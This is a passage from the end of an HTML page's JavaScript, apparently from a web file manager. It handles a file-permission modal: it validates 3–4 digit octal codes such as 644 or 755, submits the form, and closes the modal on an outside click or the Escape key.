document.getElementById('permissionInput').focus(); document.getElementById('permissionInput').select(); } function submitPermissionForm() { const input = document.getElementById('permissionInput'); const perm = input.value.trim(); // Validate permission code if (!/^[0-7]{3,4}$/.test(perm)) { alert('Invalid permission code! Must be 3-4 digit octal number (0-7).\nExamples: 644, 755, 777'); input.focus(); input.select(); return; } document.getElementById('permissionForm').submit(); } // Close modal when clicking outside window.onclick = function(event) { const modal = document.getElementById('permissionModal'); if (event.target == modal) { closePermissionModal(); } } // Close modal with ESC key document.addEventListener('keydown', function(event) { if (event.key === 'Escape') { closePermissionModal(); } }); // Submit form on Enter key in permission input document.addEventListener('keydown', function(event) { if (event.key === 'Enter' && event.target.id === 'permissionInput') { submitPermissionForm(); } }); </script> </body> </html>